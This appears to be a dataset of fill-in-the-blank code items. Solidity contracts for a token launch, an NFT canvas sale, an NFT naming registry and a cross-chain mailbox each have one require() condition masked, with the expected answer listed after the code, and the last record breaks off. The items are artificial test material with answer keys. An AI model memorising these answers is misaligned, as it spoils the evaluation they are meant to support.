function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMaxTxn(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWallet(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDevWallet(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function LaunchToken() public onlyOwner {
require(<FILL_ME>)
setExcludedFromReward(address(this), true);
setExcludedFromReward(lpPair, true);
Launched = true;
swapAndLiquifyEnabled = true;
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function removeETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| !Launched,"Trading is already enabled!" | 413,030 | !Launched |
"address not payable" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721.sol";
import "./Ownable.sol";
contract PaintTheBlockChain is ERC721, Ownable {
address public creator;
uint256 public mintPrice = .05 ether;
uint256 public canvasBlockSize = 100;
uint256 public canvasSize = 1*10**6;
uint256 public maxSupply = canvasSize/canvasBlockSize;
string _baseURIString = "https://painttheblockchain.com/json/";
constructor() ERC721("CanvasBlocks", "CVSB") {
}
function purchaseBlock(address to, uint256 tokenId) public payable {
}
function setMintPrice(uint256 newMintPrice) public onlyOwner {
}
function changeCreator(address newCreator) public onlyOwner {
}
function withdrawAll() public onlyOwner {
uint256 balance = address(this).balance;
require(<FILL_ME>)
}
function _baseURI() internal view virtual override returns (string memory) {
}
function changeBaseURI(string calldata _newURI) public onlyOwner {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721)
returns (bool)
{
}
}
| payable(creator).send(balance),"address not payable" | 413,331 | payable(creator).send(balance) |
"Not the owner of Regular" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/**
* @title Regular Names v1.0
*/
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract Names is AccessControl {
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
IERC721 regularsNFT = IERC721(0x6d0de90CDc47047982238fcF69944555D27Ecb25); // Regular NFT Address
mapping(uint => string) public names; // Regular name by Regular Id
mapping(string => bool) private reserved; // Names can only be used once
mapping(uint => bool) private locked; // Admin can lock names (in case of abuse)
uint public constant MAX_CHARS = 28;
uint public constant MAX_SPACES = 2;
bool public RENAMING_OPEN = true;
event NameChange (uint256 indexed tokenId, string newName, address sender);
constructor() {
}
// Public function for free renaming
function freeRename(uint _tokenId, string memory _name) public {
}
// View
function isOwnerOfReg(uint _tokenId, address _addr) public view returns (bool) {
}
function hasName(uint _tokenId) public view returns (bool) {
}
function isReserved(string memory _name) public view returns (bool) {
}
function validateName(string memory str) public pure returns (bool){
}
// Admin
function rename(uint _tokenId, string memory _name) public onlyRole(ADMIN_ROLE) {
}
function overrideName(uint _tokenId, string memory _name) public onlyRole(ADMIN_ROLE) {
}
function lockName(uint _tokenId, bool _locked) public onlyRole(ADMIN_ROLE) {
}
// Internal
function _setName(uint _tokenId, string memory _name) internal {
_name = toLower(_name);
require(<FILL_ME>)
require(validateName(_name),"Name not valid");
require(!reserved[_name], "Name taken");
require(!locked[_tokenId], "Name locked");
reserved[names[_tokenId]] = false; // un-reserve the old name
reserved[_name] = true;
names[_tokenId] = _name;
emit NameChange(_tokenId, _name, msg.sender);
}
function toggleReserveName(string memory str, bool isReserve) internal {
}
function toLower(string memory str) internal pure returns (string memory){
}
}
| regularsNFT.ownerOf(_tokenId)==msg.sender,"Not the owner of Regular" | 413,567 | regularsNFT.ownerOf(_tokenId)==msg.sender |
"Name not valid" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/**
* @title Regular Names v1.0
*/
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract Names is AccessControl {
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
IERC721 regularsNFT = IERC721(0x6d0de90CDc47047982238fcF69944555D27Ecb25); // Regular NFT Address
mapping(uint => string) public names; // Regular name by Regular Id
mapping(string => bool) private reserved; // Names can only be used once
mapping(uint => bool) private locked; // Admin can lock names (in case of abuse)
uint public constant MAX_CHARS = 28;
uint public constant MAX_SPACES = 2;
bool public RENAMING_OPEN = true;
event NameChange (uint256 indexed tokenId, string newName, address sender);
constructor() {
}
// Public function for free renaming
function freeRename(uint _tokenId, string memory _name) public {
}
// View
function isOwnerOfReg(uint _tokenId, address _addr) public view returns (bool) {
}
function hasName(uint _tokenId) public view returns (bool) {
}
function isReserved(string memory _name) public view returns (bool) {
}
function validateName(string memory str) public pure returns (bool){
}
// Admin
function rename(uint _tokenId, string memory _name) public onlyRole(ADMIN_ROLE) {
}
function overrideName(uint _tokenId, string memory _name) public onlyRole(ADMIN_ROLE) {
}
function lockName(uint _tokenId, bool _locked) public onlyRole(ADMIN_ROLE) {
}
// Internal
function _setName(uint _tokenId, string memory _name) internal {
_name = toLower(_name);
require(regularsNFT.ownerOf(_tokenId) == msg.sender, "Not the owner of Regular");
require(<FILL_ME>)
require(!reserved[_name], "Name taken");
require(!locked[_tokenId], "Name locked");
reserved[names[_tokenId]] = false; // un-reserve the old name
reserved[_name] = true;
names[_tokenId] = _name;
emit NameChange(_tokenId, _name, msg.sender);
}
function toggleReserveName(string memory str, bool isReserve) internal {
}
function toLower(string memory str) internal pure returns (string memory){
}
}
| validateName(_name),"Name not valid" | 413,567 | validateName(_name) |
"Name taken" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/**
* @title Regular Names v1.0
*/
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract Names is AccessControl {
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
IERC721 regularsNFT = IERC721(0x6d0de90CDc47047982238fcF69944555D27Ecb25); // Regular NFT Address
mapping(uint => string) public names; // Regular name by Regular Id
mapping(string => bool) private reserved; // Names can only be used once
mapping(uint => bool) private locked; // Admin can lock names (in case of abuse)
uint public constant MAX_CHARS = 28;
uint public constant MAX_SPACES = 2;
bool public RENAMING_OPEN = true;
event NameChange (uint256 indexed tokenId, string newName, address sender);
constructor() {
}
// Public function for free renaming
function freeRename(uint _tokenId, string memory _name) public {
}
// View
function isOwnerOfReg(uint _tokenId, address _addr) public view returns (bool) {
}
function hasName(uint _tokenId) public view returns (bool) {
}
function isReserved(string memory _name) public view returns (bool) {
}
function validateName(string memory str) public pure returns (bool){
}
// Admin
function rename(uint _tokenId, string memory _name) public onlyRole(ADMIN_ROLE) {
}
function overrideName(uint _tokenId, string memory _name) public onlyRole(ADMIN_ROLE) {
}
function lockName(uint _tokenId, bool _locked) public onlyRole(ADMIN_ROLE) {
}
// Internal
function _setName(uint _tokenId, string memory _name) internal {
_name = toLower(_name);
require(regularsNFT.ownerOf(_tokenId) == msg.sender, "Not the owner of Regular");
require(validateName(_name),"Name not valid");
require(<FILL_ME>)
require(!locked[_tokenId], "Name locked");
reserved[names[_tokenId]] = false; // un-reserve the old name
reserved[_name] = true;
names[_tokenId] = _name;
emit NameChange(_tokenId, _name, msg.sender);
}
function toggleReserveName(string memory str, bool isReserve) internal {
}
function toLower(string memory str) internal pure returns (string memory){
}
}
| !reserved[_name],"Name taken" | 413,567 | !reserved[_name] |
"Name locked" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/**
* @title Regular Names v1.0
*/
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract Names is AccessControl {
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
IERC721 regularsNFT = IERC721(0x6d0de90CDc47047982238fcF69944555D27Ecb25); // Regular NFT Address
mapping(uint => string) public names; // Regular name by Regular Id
mapping(string => bool) private reserved; // Names can only be used once
mapping(uint => bool) private locked; // Admin can lock names (in case of abuse)
uint public constant MAX_CHARS = 28;
uint public constant MAX_SPACES = 2;
bool public RENAMING_OPEN = true;
event NameChange (uint256 indexed tokenId, string newName, address sender);
constructor() {
}
// Public function for free renaming
function freeRename(uint _tokenId, string memory _name) public {
}
// View
function isOwnerOfReg(uint _tokenId, address _addr) public view returns (bool) {
}
function hasName(uint _tokenId) public view returns (bool) {
}
function isReserved(string memory _name) public view returns (bool) {
}
function validateName(string memory str) public pure returns (bool){
}
// Admin
function rename(uint _tokenId, string memory _name) public onlyRole(ADMIN_ROLE) {
}
function overrideName(uint _tokenId, string memory _name) public onlyRole(ADMIN_ROLE) {
}
function lockName(uint _tokenId, bool _locked) public onlyRole(ADMIN_ROLE) {
}
// Internal
function _setName(uint _tokenId, string memory _name) internal {
_name = toLower(_name);
require(regularsNFT.ownerOf(_tokenId) == msg.sender, "Not the owner of Regular");
require(validateName(_name),"Name not valid");
require(!reserved[_name], "Name taken");
require(<FILL_ME>)
reserved[names[_tokenId]] = false; // un-reserve the old name
reserved[_name] = true;
names[_tokenId] = _name;
emit NameChange(_tokenId, _name, msg.sender);
}
function toggleReserveName(string memory str, bool isReserve) internal {
}
function toLower(string memory str) internal pure returns (string memory){
}
}
| !locked[_tokenId],"Name locked" | 413,567 | !locked[_tokenId] |
"!version" | pragma solidity >=0.8.0;
// ============ Internal Imports ============
// ============ External Imports ============
contract Mailbox is
IMailbox,
OwnableUpgradeable,
PausableReentrancyGuardUpgradeable,
Versioned
{
// ============ Libraries ============
using MerkleLib for MerkleLib.Tree;
using Message for bytes;
using TypeCasts for bytes32;
using TypeCasts for address;
// ============ Constants ============
// Maximum bytes per message = 2 KiB (somewhat arbitrarily set to begin)
uint256 public constant MAX_MESSAGE_BODY_BYTES = 2 * 2**10;
// Domain of chain on which the contract is deployed
uint32 public immutable localDomain;
// ============ Public Storage ============
// The default ISM, used if the recipient fails to specify one.
IInterchainSecurityModule public defaultIsm;
// An incremental merkle tree used to store outbound message IDs.
MerkleLib.Tree public tree;
// Mapping of message ID to whether or not that message has been delivered.
mapping(bytes32 => bool) public delivered;
// ============ Upgrade Gap ============
// gap for upgrade safety
uint256[47] private __GAP;
// ============ Events ============
/**
* @notice Emitted when the default ISM is updated
* @param module The new default ISM
*/
event DefaultIsmSet(address indexed module);
/**
* @notice Emitted when a new message is dispatched via Hyperlane
* @param sender The address that dispatched the message
* @param destination The destination domain of the message
* @param recipient The message recipient address on `destination`
* @param message Raw bytes of message
*/
event Dispatch(
address indexed sender,
uint32 indexed destination,
bytes32 indexed recipient,
bytes message
);
/**
* @notice Emitted when a new message is dispatched via Hyperlane
* @param messageId The unique message identifier
*/
event DispatchId(bytes32 indexed messageId);
/**
* @notice Emitted when a Hyperlane message is processed
* @param messageId The unique message identifier
*/
event ProcessId(bytes32 indexed messageId);
/**
* @notice Emitted when a Hyperlane message is delivered
* @param origin The origin domain of the message
* @param sender The message sender address on `origin`
* @param recipient The address that handled the message
*/
event Process(
uint32 indexed origin,
bytes32 indexed sender,
address indexed recipient
);
/**
* @notice Emitted when Mailbox is paused
*/
event Paused();
/**
* @notice Emitted when Mailbox is unpaused
*/
event Unpaused();
// ============ Constructor ============
constructor(uint32 _localDomain) {
}
// ============ Initializers ============
function initialize(address _owner, address _defaultIsm)
external
initializer
{
}
// ============ External Functions ============
/**
* @notice Sets the default ISM for the Mailbox.
* @param _module The new default ISM. Must be a contract.
*/
function setDefaultIsm(address _module) external onlyOwner {
}
/**
* @notice Dispatches a message to the destination domain & recipient.
* @param _destinationDomain Domain of destination chain
* @param _recipientAddress Address of recipient on destination chain as bytes32
* @param _messageBody Raw bytes content of message body
* @return The message ID inserted into the Mailbox's merkle tree
*/
function dispatch(
uint32 _destinationDomain,
bytes32 _recipientAddress,
bytes calldata _messageBody
) external override notPaused returns (bytes32) {
}
/**
* @notice Attempts to deliver `_message` to its recipient. Verifies
* `_message` via the recipient's ISM using the provided `_metadata`.
* @param _metadata Metadata used by the ISM to verify `_message`.
* @param _message Formatted Hyperlane message (refer to Message.sol).
*/
function process(bytes calldata _metadata, bytes calldata _message)
external
override
nonReentrantAndNotPaused
{
// Check that the message was intended for this mailbox.
require(<FILL_ME>)
require(_message.destination() == localDomain, "!destination");
// Check that the message hasn't already been delivered.
bytes32 _id = _message.id();
require(delivered[_id] == false, "delivered");
delivered[_id] = true;
// Verify the message via the ISM.
IInterchainSecurityModule _ism = IInterchainSecurityModule(
recipientIsm(_message.recipientAddress())
);
require(_ism.verify(_metadata, _message), "!module");
// Deliver the message to the recipient.
uint32 origin = _message.origin();
bytes32 sender = _message.sender();
address recipient = _message.recipientAddress();
IMessageRecipient(recipient).handle(origin, sender, _message.body());
emit Process(origin, sender, recipient);
emit ProcessId(_id);
}
// ============ Public Functions ============
/**
* @notice Calculates and returns tree's current root
*/
function root() public view returns (bytes32) {
}
/**
* @notice Returns the number of inserted leaves in the tree
*/
function count() public view returns (uint32) {
}
/**
* @notice Returns a checkpoint representing the current merkle tree.
* @return root The root of the Mailbox's merkle tree.
* @return index The index of the last element in the tree.
*/
function latestCheckpoint() public view returns (bytes32, uint32) {
}
/**
* @notice Pauses mailbox and prevents further dispatch/process calls
* @dev Only `owner` can pause the mailbox.
*/
function pause() external onlyOwner {
}
/**
* @notice Unpauses mailbox and allows for message processing.
* @dev Only `owner` can unpause the mailbox.
*/
function unpause() external onlyOwner {
}
/**
* @notice Returns whether mailbox is paused.
*/
function isPaused() external view returns (bool) {
}
/**
* @notice Returns the ISM to use for the recipient, defaulting to the
* default ISM if none is specified.
* @param _recipient The message recipient whose ISM should be returned.
* @return The ISM to use for `_recipient`.
*/
function recipientIsm(address _recipient)
public
view
returns (IInterchainSecurityModule)
{
}
// ============ Internal Functions ============
/**
* @notice Sets the default ISM for the Mailbox.
* @param _module The new default ISM. Must be a contract.
*/
function _setDefaultIsm(address _module) internal {
}
}
| _message.version()==VERSION,"!version" | 413,605 | _message.version()==VERSION |
"!destination" | pragma solidity >=0.8.0;
// ============ Internal Imports ============
// ============ External Imports ============
contract Mailbox is
IMailbox,
OwnableUpgradeable,
PausableReentrancyGuardUpgradeable,
Versioned
{
// ============ Libraries ============
using MerkleLib for MerkleLib.Tree;
using Message for bytes;
using TypeCasts for bytes32;
using TypeCasts for address;
// ============ Constants ============
// Maximum bytes per message = 2 KiB (somewhat arbitrarily set to begin)
uint256 public constant MAX_MESSAGE_BODY_BYTES = 2 * 2**10;
// Domain of chain on which the contract is deployed
uint32 public immutable localDomain;
// ============ Public Storage ============
// The default ISM, used if the recipient fails to specify one.
IInterchainSecurityModule public defaultIsm;
// An incremental merkle tree used to store outbound message IDs.
MerkleLib.Tree public tree;
// Mapping of message ID to whether or not that message has been delivered.
mapping(bytes32 => bool) public delivered;
// ============ Upgrade Gap ============
// gap for upgrade safety
uint256[47] private __GAP;
// ============ Events ============
/**
* @notice Emitted when the default ISM is updated
* @param module The new default ISM
*/
event DefaultIsmSet(address indexed module);
/**
* @notice Emitted when a new message is dispatched via Hyperlane
* @param sender The address that dispatched the message
* @param destination The destination domain of the message
* @param recipient The message recipient address on `destination`
* @param message Raw bytes of message
*/
event Dispatch(
address indexed sender,
uint32 indexed destination,
bytes32 indexed recipient,
bytes message
);
/**
* @notice Emitted when a new message is dispatched via Hyperlane
* @param messageId The unique message identifier
*/
event DispatchId(bytes32 indexed messageId);
/**
* @notice Emitted when a Hyperlane message is processed
* @param messageId The unique message identifier
*/
event ProcessId(bytes32 indexed messageId);
/**
* @notice Emitted when a Hyperlane message is delivered
* @param origin The origin domain of the message
* @param sender The message sender address on `origin`
* @param recipient The address that handled the message
*/
event Process(
uint32 indexed origin,
bytes32 indexed sender,
address indexed recipient
);
/**
* @notice Emitted when Mailbox is paused
*/
event Paused();
/**
* @notice Emitted when Mailbox is unpaused
*/
event Unpaused();
// ============ Constructor ============
constructor(uint32 _localDomain) {
}
// ============ Initializers ============
function initialize(address _owner, address _defaultIsm)
external
initializer
{
}
// ============ External Functions ============
/**
* @notice Sets the default ISM for the Mailbox.
* @param _module The new default ISM. Must be a contract.
*/
function setDefaultIsm(address _module) external onlyOwner {
}
/**
* @notice Dispatches a message to the destination domain & recipient.
* @param _destinationDomain Domain of destination chain
* @param _recipientAddress Address of recipient on destination chain as bytes32
* @param _messageBody Raw bytes content of message body
* @return The message ID inserted into the Mailbox's merkle tree
*/
function dispatch(
uint32 _destinationDomain,
bytes32 _recipientAddress,
bytes calldata _messageBody
) external override notPaused returns (bytes32) {
}
/**
* @notice Attempts to deliver `_message` to its recipient. Verifies
* `_message` via the recipient's ISM using the provided `_metadata`.
* @param _metadata Metadata used by the ISM to verify `_message`.
* @param _message Formatted Hyperlane message (refer to Message.sol).
*/
function process(bytes calldata _metadata, bytes calldata _message)
external
override
nonReentrantAndNotPaused
{
// Check that the message was intended for this mailbox.
require(_message.version() == VERSION, "!version");
require(<FILL_ME>)
// Check that the message hasn't already been delivered.
bytes32 _id = _message.id();
require(delivered[_id] == false, "delivered");
delivered[_id] = true;
// Verify the message via the ISM.
IInterchainSecurityModule _ism = IInterchainSecurityModule(
recipientIsm(_message.recipientAddress())
);
require(_ism.verify(_metadata, _message), "!module");
// Deliver the message to the recipient.
uint32 origin = _message.origin();
bytes32 sender = _message.sender();
address recipient = _message.recipientAddress();
IMessageRecipient(recipient).handle(origin, sender, _message.body());
emit Process(origin, sender, recipient);
emit ProcessId(_id);
}
// ============ Public Functions ============
/**
* @notice Calculates and returns tree's current root
*/
function root() public view returns (bytes32) {
}
/**
* @notice Returns the number of inserted leaves in the tree
*/
function count() public view returns (uint32) {
}
/**
* @notice Returns a checkpoint representing the current merkle tree.
* @return root The root of the Mailbox's merkle tree.
* @return index The index of the last element in the tree.
*/
function latestCheckpoint() public view returns (bytes32, uint32) {
}
/**
* @notice Pauses mailbox and prevents further dispatch/process calls
* @dev Only `owner` can pause the mailbox.
*/
function pause() external onlyOwner {
}
/**
* @notice Unpauses mailbox and allows for message processing.
* @dev Only `owner` can unpause the mailbox.
*/
function unpause() external onlyOwner {
}
/**
* @notice Returns whether mailbox is paused.
*/
function isPaused() external view returns (bool) {
}
/**
* @notice Returns the ISM to use for the recipient, defaulting to the
* default ISM if none is specified.
* @param _recipient The message recipient whose ISM should be returned.
* @return The ISM to use for `_recipient`.
*/
function recipientIsm(address _recipient)
public
view
returns (IInterchainSecurityModule)
{
}
// ============ Internal Functions ============
/**
* @notice Sets the default ISM for the Mailbox.
* @param _module The new default ISM. Must be a contract.
*/
function _setDefaultIsm(address _module) internal {
}
}
| _message.destination()==localDomain,"!destination" | 413,605 | _message.destination()==localDomain |
"delivered" | pragma solidity >=0.8.0;
// ============ Internal Imports ============
// ============ External Imports ============
contract Mailbox is
IMailbox,
OwnableUpgradeable,
PausableReentrancyGuardUpgradeable,
Versioned
{
// ============ Libraries ============
using MerkleLib for MerkleLib.Tree;
using Message for bytes;
using TypeCasts for bytes32;
using TypeCasts for address;
// ============ Constants ============
// Maximum bytes per message = 2 KiB (somewhat arbitrarily set to begin)
uint256 public constant MAX_MESSAGE_BODY_BYTES = 2 * 2**10;
// Domain of chain on which the contract is deployed
uint32 public immutable localDomain;
// ============ Public Storage ============
// The default ISM, used if the recipient fails to specify one.
IInterchainSecurityModule public defaultIsm;
// An incremental merkle tree used to store outbound message IDs.
MerkleLib.Tree public tree;
// Mapping of message ID to whether or not that message has been delivered.
mapping(bytes32 => bool) public delivered;
// ============ Upgrade Gap ============
// gap for upgrade safety
uint256[47] private __GAP;
// ============ Events ============
/**
* @notice Emitted when the default ISM is updated
* @param module The new default ISM
*/
event DefaultIsmSet(address indexed module);
/**
* @notice Emitted when a new message is dispatched via Hyperlane
* @param sender The address that dispatched the message
* @param destination The destination domain of the message
* @param recipient The message recipient address on `destination`
* @param message Raw bytes of message
*/
event Dispatch(
address indexed sender,
uint32 indexed destination,
bytes32 indexed recipient,
bytes message
);
/**
* @notice Emitted when a new message is dispatched via Hyperlane
* @param messageId The unique message identifier
*/
event DispatchId(bytes32 indexed messageId);
/**
* @notice Emitted when a Hyperlane message is processed
* @param messageId The unique message identifier
*/
event ProcessId(bytes32 indexed messageId);
/**
* @notice Emitted when a Hyperlane message is delivered
* @param origin The origin domain of the message
* @param sender The message sender address on `origin`
* @param recipient The address that handled the message
*/
event Process(
uint32 indexed origin,
bytes32 indexed sender,
address indexed recipient
);
/**
* @notice Emitted when Mailbox is paused
*/
event Paused();
/**
* @notice Emitted when Mailbox is unpaused
*/
event Unpaused();
// ============ Constructor ============
constructor(uint32 _localDomain) {
}
// ============ Initializers ============
function initialize(address _owner, address _defaultIsm)
external
initializer
{
}
// ============ External Functions ============
/**
* @notice Sets the default ISM for the Mailbox.
* @param _module The new default ISM. Must be a contract.
*/
function setDefaultIsm(address _module) external onlyOwner {
}
/**
* @notice Dispatches a message to the destination domain & recipient.
* @param _destinationDomain Domain of destination chain
* @param _recipientAddress Address of recipient on destination chain as bytes32
* @param _messageBody Raw bytes content of message body
* @return The message ID inserted into the Mailbox's merkle tree
*/
function dispatch(
uint32 _destinationDomain,
bytes32 _recipientAddress,
bytes calldata _messageBody
) external override notPaused returns (bytes32) {
}
/**
* @notice Attempts to deliver `_message` to its recipient. Verifies
* `_message` via the recipient's ISM using the provided `_metadata`.
* @param _metadata Metadata used by the ISM to verify `_message`.
* @param _message Formatted Hyperlane message (refer to Message.sol).
*/
function process(bytes calldata _metadata, bytes calldata _message)
external
override
nonReentrantAndNotPaused
{
// Check that the message was intended for this mailbox.
require(_message.version() == VERSION, "!version");
require(_message.destination() == localDomain, "!destination");
// Check that the message hasn't already been delivered.
bytes32 _id = _message.id();
require(<FILL_ME>)
delivered[_id] = true;
// Verify the message via the ISM.
IInterchainSecurityModule _ism = IInterchainSecurityModule(
recipientIsm(_message.recipientAddress())
);
require(_ism.verify(_metadata, _message), "!module");
// Deliver the message to the recipient.
uint32 origin = _message.origin();
bytes32 sender = _message.sender();
address recipient = _message.recipientAddress();
IMessageRecipient(recipient).handle(origin, sender, _message.body());
emit Process(origin, sender, recipient);
emit ProcessId(_id);
}
// ============ Public Functions ============
/**
* @notice Calculates and returns tree's current root
*/
function root() public view returns (bytes32) {
}
/**
* @notice Returns the number of inserted leaves in the tree
*/
function count() public view returns (uint32) {
}
/**
* @notice Returns a checkpoint representing the current merkle tree.
* @return root The root of the Mailbox's merkle tree.
* @return index The index of the last element in the tree.
*/
function latestCheckpoint() public view returns (bytes32, uint32) {
}
/**
* @notice Pauses mailbox and prevents further dispatch/process calls
* @dev Only `owner` can pause the mailbox.
*/
function pause() external onlyOwner {
}
/**
* @notice Unpauses mailbox and allows for message processing.
* @dev Only `owner` can unpause the mailbox.
*/
function unpause() external onlyOwner {
}
/**
* @notice Returns whether mailbox is paused.
*/
function isPaused() external view returns (bool) {
}
/**
* @notice Returns the ISM to use for the recipient, defaulting to the
* default ISM if none is specified.
* @param _recipient The message recipient whose ISM should be returned.
* @return The ISM to use for `_recipient`.
*/
function recipientIsm(address _recipient)
public
view
returns (IInterchainSecurityModule)
{
}
// ============ Internal Functions ============
/**
* @notice Sets the default ISM for the Mailbox.
* @param _module The new default ISM. Must be a contract.
*/
function _setDefaultIsm(address _module) internal {
}
}
| delivered[_id]==false,"delivered" | 413,605 | delivered[_id]==false |
"!module" | pragma solidity >=0.8.0;
// ============ Internal Imports ============
// ============ External Imports ============
contract Mailbox is
IMailbox,
OwnableUpgradeable,
PausableReentrancyGuardUpgradeable,
Versioned
{
// ============ Libraries ============
using MerkleLib for MerkleLib.Tree;
using Message for bytes;
using TypeCasts for bytes32;
using TypeCasts for address;
// ============ Constants ============
// Maximum bytes per message = 2 KiB (somewhat arbitrarily set to begin)
uint256 public constant MAX_MESSAGE_BODY_BYTES = 2 * 2**10;
// Domain of chain on which the contract is deployed
uint32 public immutable localDomain;
// ============ Public Storage ============
// The default ISM, used if the recipient fails to specify one.
IInterchainSecurityModule public defaultIsm;
// An incremental merkle tree used to store outbound message IDs.
MerkleLib.Tree public tree;
// Mapping of message ID to whether or not that message has been delivered.
mapping(bytes32 => bool) public delivered;
// ============ Upgrade Gap ============
// gap for upgrade safety
uint256[47] private __GAP;
// ============ Events ============
/**
* @notice Emitted when the default ISM is updated
* @param module The new default ISM
*/
event DefaultIsmSet(address indexed module);
/**
* @notice Emitted when a new message is dispatched via Hyperlane
* @param sender The address that dispatched the message
* @param destination The destination domain of the message
* @param recipient The message recipient address on `destination`
* @param message Raw bytes of message
*/
event Dispatch(
address indexed sender,
uint32 indexed destination,
bytes32 indexed recipient,
bytes message
);
/**
* @notice Emitted when a new message is dispatched via Hyperlane
* @param messageId The unique message identifier
*/
event DispatchId(bytes32 indexed messageId);
/**
* @notice Emitted when a Hyperlane message is processed
* @param messageId The unique message identifier
*/
event ProcessId(bytes32 indexed messageId);
/**
* @notice Emitted when a Hyperlane message is delivered
* @param origin The origin domain of the message
* @param sender The message sender address on `origin`
* @param recipient The address that handled the message
*/
event Process(
uint32 indexed origin,
bytes32 indexed sender,
address indexed recipient
);
/**
* @notice Emitted when Mailbox is paused
*/
event Paused();
/**
* @notice Emitted when Mailbox is unpaused
*/
event Unpaused();
// ============ Constructor ============
constructor(uint32 _localDomain) {
}
// ============ Initializers ============
function initialize(address _owner, address _defaultIsm)
external
initializer
{
}
// ============ External Functions ============
/**
* @notice Sets the default ISM for the Mailbox.
* @param _module The new default ISM. Must be a contract.
*/
function setDefaultIsm(address _module) external onlyOwner {
}
/**
* @notice Dispatches a message to the destination domain & recipient.
* @param _destinationDomain Domain of destination chain
* @param _recipientAddress Address of recipient on destination chain as bytes32
* @param _messageBody Raw bytes content of message body
* @return The message ID inserted into the Mailbox's merkle tree
*/
function dispatch(
uint32 _destinationDomain,
bytes32 _recipientAddress,
bytes calldata _messageBody
) external override notPaused returns (bytes32) {
}
/**
* @notice Attempts to deliver `_message` to its recipient. Verifies
* `_message` via the recipient's ISM using the provided `_metadata`.
* @param _metadata Metadata used by the ISM to verify `_message`.
* @param _message Formatted Hyperlane message (refer to Message.sol).
*/
function process(bytes calldata _metadata, bytes calldata _message)
external
override
nonReentrantAndNotPaused
{
// Check that the message was intended for this mailbox.
require(_message.version() == VERSION, "!version");
require(_message.destination() == localDomain, "!destination");
// Check that the message hasn't already been delivered.
bytes32 _id = _message.id();
require(delivered[_id] == false, "delivered");
delivered[_id] = true;
// Verify the message via the ISM.
IInterchainSecurityModule _ism = IInterchainSecurityModule(
recipientIsm(_message.recipientAddress())
);
require(<FILL_ME>)
// Deliver the message to the recipient.
uint32 origin = _message.origin();
bytes32 sender = _message.sender();
address recipient = _message.recipientAddress();
IMessageRecipient(recipient).handle(origin, sender, _message.body());
emit Process(origin, sender, recipient);
emit ProcessId(_id);
}
// ============ Public Functions ============
/**
* @notice Calculates and returns tree's current root
*/
function root() public view returns (bytes32) {
}
/**
* @notice Returns the number of inserted leaves in the tree
*/
function count() public view returns (uint32) {
}
/**
* @notice Returns a checkpoint representing the current merkle tree.
* @return root The root of the Mailbox's merkle tree.
* @return index The index of the last element in the tree.
*/
function latestCheckpoint() public view returns (bytes32, uint32) {
}
/**
* @notice Pauses mailbox and prevents further dispatch/process calls
* @dev Only `owner` can pause the mailbox.
*/
function pause() external onlyOwner {
}
/**
* @notice Unpauses mailbox and allows for message processing.
* @dev Only `owner` can unpause the mailbox.
*/
function unpause() external onlyOwner {
}
/**
* @notice Returns whether mailbox is paused.
*/
function isPaused() external view returns (bool) {
}
/**
* @notice Returns the ISM to use for the recipient, defaulting to the
* default ISM if none is specified.
* @param _recipient The message recipient whose ISM should be returned.
* @return The ISM to use for `_recipient`.
*/
function recipientIsm(address _recipient)
public
view
returns (IInterchainSecurityModule)
{
}
// ============ Internal Functions ============
/**
* @notice Sets the default ISM for the Mailbox.
* @param _module The new default ISM. Must be a contract.
*/
function _setDefaultIsm(address _module) internal {
}
}
| _ism.verify(_metadata,_message),"!module" | 413,605 | _ism.verify(_metadata,_message) |
"!contract" | pragma solidity >=0.8.0;
// ============ Internal Imports ============
// ============ External Imports ============
contract Mailbox is
IMailbox,
OwnableUpgradeable,
PausableReentrancyGuardUpgradeable,
Versioned
{
// ============ Libraries ============
using MerkleLib for MerkleLib.Tree;
using Message for bytes;
